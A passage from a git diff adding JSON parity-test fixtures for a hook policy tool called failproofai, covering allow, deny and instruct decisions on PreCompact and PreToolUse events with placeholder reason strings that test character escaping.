&a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3e8a85fd --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7b2ab7be --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b0927130 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a9174f04 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..efda6f86 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..05f888a6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4224ce4c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3d4d8db1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a14c3e3e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e69aaf98 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..dd73678c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b067e014 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9b944bde --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a1bed19a --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8f4b6526 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..951f8c14 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1aa6ed41 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d03c2b91 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git 